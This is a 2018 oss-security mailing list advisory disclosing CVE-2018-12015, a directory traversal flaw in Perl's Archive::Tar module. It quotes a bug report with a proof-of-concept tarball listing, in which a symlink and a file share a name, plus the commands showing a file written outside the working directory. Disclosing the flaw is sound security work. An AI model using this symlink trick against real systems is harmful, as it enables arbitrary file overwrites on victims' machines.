[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 7 Jun 2018 20:41:25 +0200
From: Salvatore Bonaccorso <carnil@...ian.org>
To: OSS Security Mailinglist <oss-security@...ts.openwall.com>
Subject: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability
Hi
The following dirctory traversal vulnerability was reporte to the
Debian bugtracker at https://bugs.debian.org/900834 , which got
assigned CVE-2018-12015 by MITRE (requested via the
http://cveform.mitre.org/):
> By default, the Archive::Tar module doesn't allow extracting files
> outside the current working directory. However, you can bypass this
> secure extraction mode easily by putting a symlink and a regular file
> with the same name into the tarball.
>
> I've attached proof of concept tarball, which makes Archive::Tar create
> /tmp/moo, regardless of what the current working directory is:
>
> $ tar -tvvf traversal.tar.gz
> lrwxrwxrwx root/root 0 2018-06-05 18:55 moo -> /tmp/moo
> -rw-r--r-- root/root 4 2018-06-05 18:55 moo
>
> $ pwd
> /home/jwilk
>
> $ ls /tmp/moo
> ls: cannot access '/tmp/moo': No such file or directory
>
> $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
>
> $ ls /tmp/moo
> /tmp/moo
The mentioned proof of concept tarball is attached to the Debian bug at
https://bugs.debian.org/cgi-bin/bugreport.cgi?att=1;bug=900834;filename=traversal.tar.gz;msg=3
.
Regards,
Salvatore
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
